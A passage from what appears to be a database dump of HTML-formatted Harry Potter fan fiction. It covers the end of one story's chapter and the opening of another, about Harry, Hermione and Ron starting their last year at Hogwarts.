infirmary, thought Ginny. </p><p>"I kind of deserved it," muttered Shawn, fidgeting slightly, "I did throw that ferret incident in his face." </p><p>"That does not excuse his behavior though!" Ginny\'s eyes flashed angrily, "The next time I see him, I going to-" </p><p>At that moment, a loud knocking sound gave them a momentary start. Ginny glanced at Shawn and placed a finger on her lips to indicate to him that he was to remind silent. </p><p>"Who is it?" she called out. </p><p>"Ginny! It\'s Hermione! Open up!" </p><p>Ginny opened the door a crack. "My brother isn\'t out there, is he?" </p><p>The other girl shook her head. Finally Ginny opened the door so that Hermione and the two Potter siblings could get in before she threw one more quick glance out at the darkened hallway, closed the door and locked it behind her. </p><p>"Are you feeling alright?" Nina asked softly as she took a seat beside her brother\'s best friend. <br/> </p><p>"Considering that I just received a tongue-lashing and a stone wall to my head from my own father, that I\'m possibly getting expelled for giving Destraine a lesson he deserved and incurring the wrath of my own uncle, I\'m feeling perfectly fine!" He gave a sardonic chuckle, "In fact, I have this urge to throw myself off the Astronomy Tower right now." </p><p>The black-haired girl beside him shook her head sadly. "I know how you feel, but you can\'t give up now. Your parents and sisters are depending on you. We\'re depending on you." </p><p>"What would you know Potter?" Shawn sneered before he could stop himself, "Your parents aren\'t dead! Dear Merlin..." he snorted, "And Dad says I\'m the one with the Potter complex!" </p><p>"Now you\'re just acting like a total prat, Malfoy." </p><p>"Shut up Potter!" Shawn whirled around to face Ben, his face darkening. </p><p>"Shawn Malfoy!" His mother\'s angry voice cut across the suddenly silent room and he looked up to meet his mother\'s eyes. "Apologize to Nina." </p><p>"What for?" he asked sullenly, "I was just telling the truth." <br/>\n His mother bristled at this and his thoughts drifted rather irrelevantly to the image of an enraged lioness. </p><p>The silence seemed to continue as Shawn and Ginny remained locked in a battle of wills. Finally he sighed and turned to Nina. "I\'m sorry." </p><p>Hermione gave a small cough. "Now that we\'ve all decided to get along, maybe we can actually get down the business now?" </p><p>Shawn and Ben threw each other a dirty look. </p><p>"Well, I think it\'s safe to say that Shawn\'s identity is out of the bag," Ginny sighed. </p><p>"And we can\'t let him go back to the dungeons," pointed out Hermione, "It wouldn\'t be safe. We\'ll have to see about getting him a new place to stay." </p><p>"Shawn can share my room," offered Ben. </p><p>Shawn shook his head. "Sorry, too crowded. Not to mention I getting some bad vibes." </p><p>"Bad vibes?!" </p><p>The blond gave him a sideways glance. "The last time I checked, your dad wasn\'t too pleased to see me either." </p><p>"In that case..." Ginny made up her mind. "Shawn, you\'re sleeping in my room tonight." </p><p>Her son gaped at her. "Mom, you really want Dad and Uncle Ron to kill me?" </p><p>"They won\'t." </p><p>Shawn gave her a look of disbelief, "Dad told me to stay away from you, remember?" </p><p>Ginny brightened, "That means Ron and Draco actually agreed on something!" </p><p>"Not funny," her son said sullenly. </p><p>However, Ginny just wrapped an arm around his shoulders. "You\'ll be alright," she grinned cheekily at him, "I have quite a few tricks up my sleeve as well. Besides, it\'s their fault you\'re my new roommate, so they can complain all they want." </p><p>Impulsively, Shawn gave the redhead a quick hug. "Thanks Mom." he whispered. "I\'m not usually this sentimental," he added quickly, "Just so you know." </p><p>Ginny laughed and ruffled his hair. "Of course. We wouldn\'t want to ruin that bad boy reputation of yours now, would we?" </p><p>"Mom!" </p><p>"Now you\'re just whining." </p><p>Shawn roughly shoved over a still snickering Benjamin Potter as he got up. "Oh shut up." </p><p>************************************* </p><p>Again, I apologize for taking so long to get this chapter out!! Hopefully I can get finish the next one sooner.... </p><p>Happy Holidays, everyone! :) '),
	(205, 1, '<p class="MsoNormal">Disclaimer: I don\'t own or claim to own any of\nthese characters.  They\'re owned by J.K\nRowling etc. not me.  I\'m not making any\nmoney!!!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Author Notes: I told myself I wouldn\'t do this\nagain...and I have. I\'ve started another story while I\'m typing other ones.  But this idea came to me and I just had to\nget it out.  I hope everyone enjoys this\nimmensely. Tell me what you think!!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"It\'s great to be back in the wizarding\nworld."  Hermione said with a happy\nsigh, "We\'re finally back at school. \nI can\'t wait to get back into schedule. \nClasses will so much more challenging this year!" </p>\n<p class="MsoNormal">"Great."  Ron drawled, shoving food into his mouth, "That\'s typical of\nyou Hermione.  All you do is work work\nwork.  Take a break!  It\'s our last year here.  Make the most of it!"</p>\n<p class="MsoNormal">Hermione gave him a disapproving look,\n"You\'re right this IS our last year! \nThis is our final year to get good grades so we can get good jobs.  If you\'re thinking this year will be\ncompletely slack then you\'re in the wrong year."</p>\n<p class="MsoNormal">"Alright alright.  Take a chill pill."  Ron said, ignoring her look and helping\nhimself to more, "What <i>I\'m</i>\nworried about is if Harry gets attacked by \'You-know-who?"</p>\n<p class="MsoNormal">Everyone who was in hearing distance of this\nstatement immediately fell silent.  It\nwas knowledge to everyone now that Voldemort was rising up again and it\nterrified them.</p>\n<p class="MsoNormal">"Well that was a happy thing to\nsay."  Harry said rolling his eyes\nand helping himeself to more potatoes, "What will come will come.  I can\'t do anything to stop that and neither\ncan anyone here.  I just want to get\nthrough my exams first."  Harry\nadded with a grin, "But knowing me I\'ll be unconscious at the time."</p>\n<p class="MsoNormal">Hermione wacked him on the arm, "Don\'t\neven think about it!  Don\'t even put\nthat thought out there!" she said shaking her head, "Karma!"</p>\n<p class="MsoNormal">"Don\'t tell me you\'re going to take up\ndivination Hermione?"  Ron asked,\ntrying not to laugh.</p>\n<p class="MsoNormal">Hermione glared at him, "Of course\nnot!  Divination is a load of\nrubbish!  I don\'t know why you two are\neven taking it this year!  It\'s the\nbiggest load of-"</p>\n<p class="MsoNormal">"I\'m not."  Harry interrupted quietly.</p>\n<p class="MsoNormal">"Not what?"  Hermione asked, a little confused at being interrupted.</p>\n<p class="MsoNormal">"I\'m not taking Divination." he said.</p>\n<p class="MsoNormal">"Well I\'m glad one of you has finally come\nto your senses!"  Hermione said\ntriumphantly, "What are you taking instead?  Arithmacy?"</p>\n<p class="MsoNormal">"No."  Harry laughed, "Not Arithmacy." </p>\n<p class="MsoNormal">"I don\'t know why you quitted Harry.  You\'dve passed the exam with flying\ncolours!  So what <i>are</i> you doing instead?"</p>\n<p class="MsoNormal">Harry blushed a little, "I\'m doing...” he\nmumbled off so low Hermione and Ron couldn\'t hear.</p>\n<p class="MsoNormal">"What?" Hermione asked confused.</p>\n<p class="MsoNormal">Harry glared at her, "I said I\'m\ndoing...extra..." he mumbled off again.</p>\n<p class="MsoNormal">"Extra what Harry."  Hermione asked getting a little exasperated,\n" You can tell us you know.  We\nwon\'t-"</p>\n<p class="MsoNormal">"I\'m doing extra defense\nclasses."  Harry said loudly,\n"Okay?"</p>\n<p class="MsoNormal">A couple of people peered to look at who it was\nwho was talking so loudly.  Harry glared\nat them and they quickly averted their eyes.</p>\n<p class="MsoNormal">"Why is it such a big deal?"  Ron asked, confused, "It makes\nsense."</p>\n<p class="MsoNormal">"Yeah well...” Harry trailed off, moving\nhis food around his plate a little, "It\'s just a bit embarrassing.  I mean that\'s like where I get my best\ngrades...and I\'m doing extra classes. \nWhat does that say about my intelligence?"</p>\n<p class="MsoNormal">It was obvious to Hermione and Ron that it was\nsomething he\'d been thinking about for a long time.  Just the way he said it; like he was releasing a floodgate and\nwas letting what he really felt pour out.</p>\n<p class="MsoNormal">"Harry. \nDon\'t think like that."  Hermione\nsaid placing her hand over his, "We don\'t think that you\'re stupid!  You\'re taking extra DADA classes because of\nyour <i>lifestyle</i>.  It\'s perfectly understandable."</p>\n<p class="MsoNormal">Ron nodded, his mouth full so he didn\'t add\nanything to what Hermione had said.</p>\n<p class="MsoNormal">"Yeah...thanks." Harry said, he\ndidn\'t sound very reassured but a quick grin made Hermione relax more.</p>\n<p class="MsoNormal">"So what classes are you guys doing this\nyear then?"  Harry asked, changing\nthe subject, he looked at Ron.</p>\n<p class="MsoNormal">"I\'m doing Advanced Divination, Advanced\nDADA, Advanced Care of Magial Creatures, Advanced Potions and I\'m doing\nAdvanced Transfiguration.  Ron said with\na shrug.</p>\n<p class="MsoNormal">"Wow. \nThat\'s pretty impressive." \nHermione said, smiling from ear to ear, "I\'m glad you didn\'t choose\nALL easy classes."</p>\n<p class="MsoNormal">Ron made a face, "What about you?" he\nasked her.</p>\n<p class="MsoNormal">"I\'m doing Expert Arithmacy, Advanced\nDADA, Expert Transfiguration, Advanced Potions and Advanced Care of Magical\nCreatures."  Hermione said with an\nair of someone who didn\'t really care what she did, although everyone new\ndifferent.</p>\n<p class="MsoNormal">Ron nodded, "That\'s cool.  We might be in some of the same classes\nthen."</p>\n<p class="MsoNormal">"Yeah. \nWhat about you Harry?" \nHermione asked.</p>\n<p class="MsoNormal">"Me? \nExpert DADA, Expert Transfiguration, Extra DADA, Expert Potions and,\nAdvanced Care of Magical Creatures." \nHarry said quietly.</p>\n<p class="MsoNormal">Ron whistled, "Boy you\'re in for a harsh\nyear!" he said.</p>\n<p class="MsoNormal">Hermione stared at Harry wide eyed,\n"Wow.  Harry how did you get into\nexpert potions?  You know that they only\nhave a really small class of that don\'t you? \nI didn\'t get accepted into the group to do it!  How on <i>earth</i> did you\nmanage that?"</p>\n<p class="MsoNormal">Harry shrugged, blushing a little, "No\nidea."</p>\n<p class="MsoNormal">Ron shook his head, "I don\'t envy\nyou!  Man...that\'s only one class that\nwe might be in together.  Oh well you\ncan help me with my homework."  </p>\n<p class="MsoNormal">Hermione glared at him.</p>\n<p class="MsoNormal">"I was kidding!" </p>\n<p class="MsoNormal">Hermione harrumphed loudly, "Well Harry we\nmight have two classes together.  It\'ll\nbe weird without you there."</p>\n<p class="MsoNormal">Harry smiled, "Yeah.  But we\'ll still be able to hang out after\nclass and everything."</p>\n<p class="MsoNormal">Hermione and Ron nodded at the same time.</p>\n<p class="MsoNormal">"Of course man!"</p>\n<p class="MsoNormal">"Absolutely!" they said together.</p>\n<p class="MsoNormal">Harry laughed at them as they exchanged glances\nat speaking at the same time, "Ah I missed this.  I missed having you two here all the time."</p>\n<p class="MsoNormal">"So how <i>was</i> your holiday?  Hermione\nasked.</p>\n<p class="MsoNormal">Harrys face twisted a bit, "Oh um.  Okay I guess.  I\'m more interested in how yours was!  How was France?"</p>\n<p class="MsoNormal">"Oh it was really nice!"  Hermione said, forgetting all about her\nquestion that Harry had quickly avoided, "I met some really nice people\nthere!  And mum and dad met up with\nsomeone that they\'d known when they were younger!  It was so cool!  They\nhadn\'t seen each other in like 15 years and then one day when we were at the\nL\'Arc de Triumph we saw him.  He was our\ntour guide!  And he was really\nnice!  I learnt loads of french while I\nwas there and I decided I want to go visit again!  Pierre, that\'s mum and dads friend, has a daughter and we toured\naround a bit while our parents were talking. \nShe\'s so nice!  Her name was\nNathalie and we\'re going to send letters throughout the year to each\nother."</p>\n<p class="MsoNormal">"Sounds fun." Harry said smiling and\nturning to Ron, "And how was Egypt?"</p>\n<p class="MsoNormal">Ron grinned, "Oh it was awesome as\nalways.  Bill\'s got himself a new\ngirlfriend!"</p>\n<p class="MsoNormal">"Oh really what\'s she like?"  Harry asked, intrigued.</p>\n<p class="MsoNormal">"Well her names Flora and she-” Ron was\ncut off as Dumbledore stood up for everyone to see, "Tell you\nlater."  Ron said and then turned\nhis attention to Dumbledore.</p>\n<p class="MsoNormal">"Welcome to another year at\nHogwarts."  Professer Dumbledore\nsaid with a welcoming smile to everyone in the hall, "Another year has\ncome upon us and once again we\'re not ready. \nHopefully you haven\'t forgotten all of what you learnt before the\nholidays and you\'re ready for another year. \nA special welcome to all of the new first years who are now sitting with\nyour new houses, I hope this year is one that you will enjoy immensly.  On a more serious note, today I need to tell\nyou all about Voldemort."</p>\n<p class="MsoNormal">Instantly the hall started to fill with\nmurmurred whispers.</p>\n<p class="MsoNormal">"Quiet, quiet."  Dumbledore said and they died down,\n"Yes, Voldemort has risen again. \nThis year special precautions will have to be taken, under no\ncircumstances are ANY students allowed to wander outside after hours.  Safety measures have been taken, but as\nwe\'ve seen in the past, they can be broken. \nAs always the Forbidden Forest is off limits to everyone, but this year\nwe ask especially that you stay out of there. \nIn the past students have ventured in there and had...unpleasent\nexperiences."</p>\n<p class="MsoNormal">Harry and Ron exchanged glances, they would\nnever forget in their second year when they had gone into the forest and had\nnearly been eaten by giant spiders.</p>\n<p class="MsoNormal">"In the past here at Hogwarts we have had\nsome discriminations as to the purity of peoples blood." Dumbledore gave\nthe Slytherin a long hard glance before continuing, "Voldemort will not\nmake this discrimination and nor will his servants.  They will kill you if you cross them.  This is a very serious matter! \nI ask you to use your initiative and be cautious.  There will be extra defense against dark art\nlessons held on weekends and on holidays for people who wish to attend.  Attendance is not required but it may be\nhelpful in the future."</p>\n<p class="MsoNormal">Harry took this time to look around the\nGryffindor table.  Some of them seemed\nso young; it wasn\'t fair for them to have to be a part of this war.  Some of the older students had strained\nlooks upon their faces; it was taking a toll on them.  Some of the first years looked a little confused, they would be the\nmuggle-borns.  How lucky they were to\nnot know about the horror that Voldemort had already inflicted on the world,\nlucky but naive.  Then there were the\nlooks from the first years that came from wizarding familys, they looked scared\nbeyond belief.  Hogwarts was one of the\nsafest places in the world, but it could not stand against Voldemort\nalone.  </p>\n<p class="MsoNormal">"On a different note this year will be\nvery different,” Dumbledore continued, "This year we\'ve decided that,\nsince at times your teachers and myself will need to leave to attend meetings\nand perhaps battles, your education will be done in a slightly different\nway.  We\'re supplying students with\ntheir own laptop computer.  For any of\nyou who have never heard of a computer, it\'s originally a muggle device however\nthe computers used here are wizarding ones. \nI would go into it further but I can see that some of you are extremely\ntired and I have more I need to cover." \nHe said with a wink, the small first year sitting at the Gryffindor\ntable who was yawning widely.</p>\n<p class="MsoNormal">The student blushed and ducked his head.</p>\n<p class="MsoNormal">"You will recieve these laptops tomorrow\nin your first lesson and that teacher will go over how to use them."</p>\n<p class="MsoNormal">"I\'d hate to be the class who gets Snape\nto show them."  Ron whispered.</p>\n<p class="MsoNormal">Harry chuckled quietly and looked back up at\nDumbledore.</p>\n<p class="MsoNormal">"Now on a completly different matter it\'s\ntime to announce the head boy and girl and top prefects for the year."</p>\n<p class="MsoNormal">Harry looked at Hermione, who was practically\nbeaming.  Everyone knew Hermione would\nget it even Hermione.</p>\n<p class="MsoNormal">"The new head girl is Ms. Hermione\nGranger!"  Professor Dumbledore\nsaid, clapping along with everyone else.</p>\n<p class="MsoNormal">{AN: In this story they don\'t find out until\nthey get to school who the top ppl are!}</p>\n<p class="MsoNormal">Ron and Harry clapped extremely hard as did\neveryone from the Gryffindor table. \nHermione blushed a little but smiled widely.</p>\n<p class="MsoNormal">"Would you like to come up?"  Dumbledore laughed.</p>\n<p class="MsoNormal">Hermione looked up at him, "Oh." she\nsaid and stood up, a little embarrassed and made her way to Dumbledore.</p>\n<p class="MsoNormal">Dumbledore smiled and winked at her, his eyes\ntwinkling, "Well done." he said and handed her the head girl badge.</p>\n<p class="MsoNormal">Hermione smiled widely and thanked him, then\nmade her way back to her seat quickly.</p>\n<p class="MsoNormal">"The new head boy is...Mr. Harry\nPotter."  Dumbledore said and an\nextremely loud applause broke out.</p>\n<p class="MsoNormal">"Me?"  Harry asked confused, "You\'ve got to be kidding." he\nsaid looking around.  </p>\n<p class="MsoNormal">People were clapping him on the back as he\nstood up and made his way to the front of the room in a daze.</p>\n<p class="MsoNormal">Dumbledore passed him his badge, "Well\ndone Harry." he said.</p>\n<p class="MsoNormal">Harry smiled, still shocked, "Heh.  Thanks." he said and made his way back\nto his table and sat down.</p>\n<p class="MsoNormal">"Well done."  Ron said his smile seemed a little forced.</p>\n<p class="MsoNormal">Harry smiled awkwardly, "Thanks." he\nsaid.</p>\n<p class="MsoNormal">"The top prefect for Hufflepuff is Ms.\nHelen Shyla."  Dumbledore said once\nthey were silent again.</p>\n<p class="MsoNormal">Loud clapping broke out from one of the middle\ntables along with a few, "Go Helen!"s. </p>\n<p class="MsoNormal">She got her badge and sat down, grinning from\near to ear.</p>\n<p class="MsoNormal">"The top prefect for Slytherin is Mr.\nDraco Malfoy."  Dumbledore said and\nthe Slytherin table clapped half-heartedly.</p>\n<p class="MsoNormal">It was known fact that Draco Malfoy was <i>not</i> a Voldemort supporter.  Therefore his popularity in Slytherin went\ndown drastically.</p>\n<p class="MsoNormal">"Malfoy?"  Ron hissed, "You\'ve got to be kidding me!"</p>\n<p class="MsoNormal">"He gets good grades." Hermione said.</p>\n<p class="MsoNormal">Malfoy went up onto the stage and took his\nbadge quickly and sat down again.</p>\n<p class="MsoNormal">"The top prefect for Ravenclaw is Ms.\nRachel Futtarly." Dumbledore said.</p>\n<p class="MsoNormal">"Oh great leave us in suppense."  Ron said.</p>\n<p class="MsoNormal">"And the finally the top prefect for\nGryffindor is Mr.Ron Weasley." Dumbledore said finally.</p>\n<p class="MsoNormal">"No way."  Ron said.</p>\n<p class="MsoNormal">Harry and Hermione clapped really hard in fact\nthe whole Gryffindor table cheered loudly for the third time that evening.  </p>\n<p class="MsoNormal">When Ron sat back down he fingered the badge\nand grinned widely before saying, "Guess I should owl mum huh?  She\'ll be pretty pleased."</p>\n<p class="MsoNormal">Harry grinned widely at him, "Who would\'ve\nthought.  Us?  We\'re probably the biggest rule breakers here!  And they choose us!"</p>\n<p class="MsoNormal">Ron laughed loudly; Hermione was too busy\ntalking to Ginny on her right about something.</p>\n<p class="MsoNormal">"Now I\'d like to ask Harry and Hermione up\nhere to make a speech."  Dumbledore\nsaid.</p>\n<p class="MsoNormal">Hermiones eyes widened, "I\'m not making a\nspeech!" she squeaked.</p>\n<p class="MsoNormal">Harry shook his head and grabbed her arm and\npractically dragged her up to the front.</p>\n<p class="MsoNormal">"Go first." he said shaking his head\nat her look of pleading.</p>\n<p class="MsoNormal">Hermione gulped, "Uh...well...heh.  I\'m glad that we\'ve started a new year.  I\'m sure everyone will have a great\ntime...incase you can\'t guess.  I hate\npublic speaking." she said.</p>\n<p class="MsoNormal">Everyone laughed, she smiled a little\nembarrassed, "So I\'ll let Harry take this one."</p>\n<p class="MsoNormal">Harry rolled his eyes, "Typical." he\nmuttered.</p>\n<p class="MsoNormal">"Welcome to a new year everyone!" he\nsaid clearly and loudly, "I\'m sure this year will be different from all\nthe others and I...WE hope you enjoy it immensly.  Can\'t say I thought I\'d be up here making this speech,” Harry\nlaughed awkwardly, "I think I\'ve been in more trouble than most of you put\ntogether."</p>\n<p class="MsoNormal">Everyone laughed loudly at this, it was common\nknowledge the amount of trouble Harry and his gang got into.  Dumbledore chuckled himself.</p>\n<p class="MsoNormal">Harry grinned, "But here I am.  This year though I\'d like it, even though I\nnever listened to the prefects when they said this, if you would actually\nfollow the rules.  Not because I\'m head\nboy but because Volde-I mean...you-know-who...no I don\'t I mean\nVoldemort."  Harry said defiantly,\n"Voldemort is a bigger threat this year than any of the previous years and\nI <i>don\'t</i> want to get in <i>more</i> trouble because you guys didn\'t\nlisten!  I get in enough as it is!  So thanks for listening to this er...rather\nshort speech.  Have a great night!"  He said.</p>\n<p class="MsoNormal">There was thunderous applause and quickly he\nand Hermione went back to their seats.</p>\n<p class="MsoNormal">"I <i>hate</i>\npublic speaking!"  Hermione moaned.</p>\n<p class="MsoNormal">Harry chuckled and put his arm around her,\n"Don\'t worry.  I\'ll do all the\npublic speaking for yah."</p>\n<p class="MsoNormal">"Really?" she asked hopefully.</p>\n<p class="MsoNormal">"Mmhmm. \nAs long as you do all the work."</p>\n<p class="MsoNormal">"Why you little!"</p>\n<p class="MsoNormal">"Joking!"  Harry said with a wink and grinned at Ron, who no longer seemed\njealous, "Way to go man!  Top\nprefect!  You get the glory without all\nthe work!"</p>\n<p class="MsoNormal">Ron grinned, "Hehe. I know!"</p>\n<p class="MsoNormal">"Well then!  Off to bed!  Will the head\nboy and girl and top prefects please stay behind.  Everyone else have a good sleep!"  Dumbledore said.</p>\n<p class="MsoNormal">Harry, Ron and Hermione all made their way up\nto Dumbledore and saw Helen, Rachel and Draco all coming up as well.</p>\n<p class="MsoNormal">"Well done to all of you."  Dumbledore said warmly looking over them\nall, "We seem to have a lot of Gryffindors this year don\'t we?" he\nasked Ron, Hermione and Harry who laughed a little awkwardly, "Well I\'m\nsure you\'re all a little tired and want to get to your nice cosy beds.  If you wouldn\'t mind waiting here,"\nDumbledore said to Draco, Helen and Rachel, "there are house-elves coming\nalong to show you to your rooms.  I,\npersonally, will show Harry and Hermione."</p>\n<p class="MsoNormal">"What about me?"  Ron asked.</p>\n<p class="MsoNormal">Dumbledore smiled at him, "You may come\nalong if you want.  We can stop at your\nroom also."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Dumbedore paused outside a painting of a lady\nin a red dress who was smiling sweetly at them, "Ron this is your\nroom.  You can choose any password you\'d\nlike." he said.</p>\n<p class="MsoNormal">Ron smiled, "Um...is \'Pumpkin Pie\'\nokay?" he asked the lady who giggled and nodded.  </p>\n<p class="MsoNormal">The portrait swung open to reveal a room about\nthe size that the five boys had shared the previous year.  </p>\n<p class="MsoNormal">"Wicked."  Ron said, "I even got my own bathroom."</p>\n<p class="MsoNormal">Dumbledore smiled, "Well along to Harrys\nand Hermiones room then."</p>\n<p class="MsoNormal">\'Room? \nShouldnt that be rooms?\' Harry thought to himself but passed it off as a\nmistake.</p>\n<p class="MsoNormal">"You coming Ron?"  Hermione asked.</p>\n<p class="MsoNormal">Ron nodded, "Yeah.  Okay. \nMight as well."</p>\n<p class="MsoNormal">The lady in red winked seductively at Ron as\nthey walked past, "I think she likes you."  Harry murmmurred quietly.</p>\n<p class="MsoNormal">Ron laughed but blushed a bit,\n"Whatever." he said.</p>\n<p class="MsoNormal">Dumbledores eyes were twinkling and he chuckled\nquietly to himself, "Well here we are." he said stopping outside a\nportrait of two people who were beaming at them.  </p>\n<p class="MsoNormal">They seemed quite familiar, the male in the\nportrait had messy hair and it looked like...</p>\n<p class="MsoNormal">"Dad?"  Harry asked confused.</p>\n<p class="MsoNormal">Dumbledore patted him on the back, "Choose\na password now Harry." he said.</p>\n<p class="MsoNormal">Harry looked at Dumbledore and back to the\nportrait, "Uh.." he said.</p>\n<p class="MsoNormal">Dumbledore turned to Hermione, "Actually\nyou\'d both better choose the password. \nYou see...I\'m afraid for the time being you\'ll have to share a\nroom."</p>\n<p class="MsoNormal">"Share?" Hermione asked, her eyes\ngoing wide.</p>\n<p class="MsoNormal">"Yes...you see.  Normally the head boy and girl each get a seperate room\nhowever...one of the rooms is being used for matters that don\'t concern you at\nthis time.  But I promise you that it\nwill become vaccant soon and then you will each have your own rooms."  Dumbledore said, he seemed a little awkward\nwhen he said this.</p>\n<p class="MsoNormal">"So who\'s room is it exactly that we\'re\nstaying in?" Harry asked.</p>\n<p class="MsoNormal">Dumbledore laughed, "Well actually it\'s\nyour room Harry, technically."</p>\n<p class="MsoNormal">Hermione made a face, "Does that mean that\nthere are going to be completely male things in there?" she asked.</p>\n<p class="MsoNormal">"No, we\'ve changed it to accomodate both\nof you."  Dumbledore said,\n"Now choose a password."</p>\n<p class="MsoNormal">Ron was smirking from behind Dumbledore at them\nand then looking up at the portrait and back to them.</p>\n<p class="MsoNormal">"\'Snitch\'?" Harry asked.</p>\n<p class="MsoNormal">Hermione shrugged, "Whatever it\'s your\nroom."</p>\n<p class="MsoNormal">Harry laughed and shook his head, he put his\narm around her shoulders, "It\'s our room for the time being.  Please enjoy you\'re stay and remember the\ntowels are not complimentary."</p>\n<p class="MsoNormal">Everyone laughed at Harry’s impression of a\nhost.</p>\n<p class="MsoNormal">"Snitch it is."  Harry said, still leaving his arm around\nHermiones shoulder.</p>\n<p class="MsoNormal">James in the portrait eyed Harry for a moment\nbefore saying, "That was my password." laughing and letting the\nportrait swing open.</p>\n<p class="MsoNormal">Inside was much larger than Rons.  It was at least three times the size.</p>\n<p class="MsoNormal">"Wow."  Harry said looking around, "Is it usually this big?  Or is it just this big because Hermiones\ngoing to be here as well?"</p>\n<p class="MsoNormal">"No this is the original size of the room\nHarry.  Is it well equipped for you\nHermione?"  Dumbledore asked\nturning to Hermione. </p>\n<p class="MsoNormal">She whipped over to the bathroom and opened the\ndoor, "Ooh!" she squealed, "Good!" </p>\n<p class="MsoNormal">Harry and Ron watched with an eyebrow raised\neach as she ran around the room inspecting things and commenting on them.</p>\n<p class="MsoNormal">Dumbledore chuckled, "Glad you\napprove."</p>\n<p class="MsoNormal">Hermione looked at the two large beds on\nopposite sides of the room, "Which bed is which?" she asked him.</p>\n<p class="MsoNormal">Dumbledore shook his head, "That\'s up to\nyou two." </p>\n<p class="MsoNormal">Hermione looked to Harry who shrugged,\n"Well then can I have that one?" she asked pointing to the bed on the\nleft.  </p>\n<p class="MsoNormal">Harry nodded, "Sure you can." he said\nand turned to Ron, "So what do you think?" he asked quietly.</p>\n<p class="MsoNormal">Ron looked to Hermione who was now talking to\nDumbledore excitedly, "I think she\'s mental."</p>\n<p class="MsoNormal">"I meant about the room!"  Harry said.</p>\n<p class="MsoNormal">Ron grinned at him, "Well it won\'t be far\nfor you two to travel to see each other. \nI mean you could shag in here and no one would know."</p>\n<p class="MsoNormal">"RON!" Harry said loudly, smacking\nhim across the back of the head.</p>\n<p class="MsoNormal">Dumbledore and Hermione turned to look at them,\nHarry and Ron let out identical sheepish grins.  Hermione shook her head and muttered, "Boys!" </p>\n<p class="MsoNormal">Dumbledore smiled, "Well I\'m quite tired\nmyself.  I hope you all have a good\nsleep.  We\'ll talk tomorrow." he\nsaid before bidding them goodnight and leaving.</p>\n<p class="MsoNormal">Ron turned to Harry and Hermione, "So what\ndo you two think of this arrangement?" he asked, grinning.</p>\n<p class="MsoNormal">Harry glared at him and ignored him.  Hermione shrugged, "Well it\'s not like\nwe have a choice!  Besides I guess I\ndon\'t really mind. If it\'s a problem Harry I\'ll kip in Ginnys room."  Hermione said turning to Harry who was now\nlying on his bed.</p>\n<p class="MsoNormal">"Nope. \nIt\'s not a problem."  Harry\nsaid kicking off his shoes, "Dear god what have the done to bed.  It\'s like...soft." he said squirming\nuncomfortably.</p>\n<p class="MsoNormal">Hermione giggled softly, "It\'s called a\nbed Harry.  They\'re supposed to be\nsoft."</p>\n<p class="MsoNormal">Harry wrinkled his nose, "I wonder if\nyours is this soft." he said, standing up and striding over to Hermiones,\n"Yours is even softer!" he said getting up quickly.</p>\n<p class="MsoNormal">Hermione giggled at him and turned to Ron,\n"Congratulations on getting top prefect!" she said giving him a hug,\n"I\'m so glad we all got it."</p>\n<p class="MsoNormal">Ron hugged her back awkwardly, "Yeah me\ntoo." he said shooting a glare at the grinning Harry.</p>\n<p class="MsoNormal">Hermione let him go and then went over to\nHarrys bed and hugged him too, Harry sighed and hugged her back but because he\nwas still laying down it was pretty awkward. \nRon stiffled laughter at the sight of them.  Hermione straightened up again smiling.</p>\n<p class="MsoNormal">"Well I\'m off to bed."  Ron said yawning loudly, "It\'s been a\nbig day and I still need to owl mum."</p>\n<p class="MsoNormal">Harry nodded, "Tell her I said hi."\nhe said. </p>\n<p class="MsoNormal">Ron nodded and waved as he left, calling over\nhis shoulder, "Don\'t shag too much."</p>\n<p class="MsoNormal">Harry and Hermione blushed profusely.  </p>\n<p class="MsoNormal">Hermione shook her head as the portrait closed\nbehind him, "I can\'t believe he just said that!" she said.</p>\n<p class="MsoNormal">Harry laughed awkwardly, "Yeah...he\'s just\nkidding."</p>\n<p class="MsoNormal">"I know."</p>\n<p class="MsoNormal">There was an awkward silence.</p>\n<p class="MsoNormal">"Congratulations."  Harry said finally breaking it.</p>\n<p class="MsoNormal">Hermione beamed at him and sat down beside him\non his bed, "You too!"</p>\n<p class="MsoNormal">Harry laughed, "I still can\'t believe I\'m\nhead boy.  Me!  I\'ve broken more rules than Fred and George!  And they picked me."</p>\n<p class="MsoNormal">Hermione laughed and kicked off her shoes,\nlaying down beside him, "Yes but you\'re intelligent, funny, heroic.  You\'re like an idol for the younger\nones.  I really don\'t see why you\'re\nsuprised."</p>\n<p class="MsoNormal">Harry made a face, "I\'m not an idol."\nhe said.</p>\n<p class="MsoNormal">Hermione snuggled closer to him, resting her\nhead on his shoulder, "Yes you are." she yawned, "All the little\nkids look up to you."</p>\n<p class="MsoNormal">Harry twisted a bit so he could rest his head\non hers, "Don\'t know why.  All I do\nis get in trouble!"</p>\n<p class="MsoNormal">Hermione turned on her side so her face was\nburied in his chest, Harry turned on his side so he could fact her.  She smiled sleepily as he put his arm around\nher waist and pulled her closer.  She\nsnuggled into his chest happily.</p>\n<p class="MsoNormal">"That\'s not all you do." she said.</p>\n<p class="MsoNormal">"So we haven\'t got many classes together\nthis year do we?"  Harry asked.</p>\n<p class="MsoNormal">Hermione shook her head, "I wish we had\nmore.  I still can\'t believe you got\ninto expert potions!  I mean...I knew\nyou were good at them but still!  Hardly\nanyone ever gets into that class!  I\ntried it and I was turned down flat."</p>\n<p class="MsoNormal">Harry sighed, "Well...I don\'t know why he\nchose me...but he did.  And that can\nonly mean trouble."</p>\n<p class="MsoNormal">"Not true!"  Hermione defended.</p>\n<p class="MsoNormal">"Name one time where an encounter with\nSnape practically one on on wasn\'t trouble."  Harry said looking down at her.</p>\n<p class="MsoNormal">She bit her lip, "Well...I can\'t but that\nstill doesn\'t mean anything."</p>\n<p class="MsoNormal">Harry laughed softly, "Alright.  I\'ll believe you.  If only because I know that you\'re trying hard to think of a good\nreason."</p>\n<p class="MsoNormal">Hermione laughed quietly. "You don\'t mind\nme staying in your room do you?" she then asked worridly, "Because\nyou know that I can go stay with Ginny and the girls."</p>\n<p class="MsoNormal">Harry shook his head, "Of course I 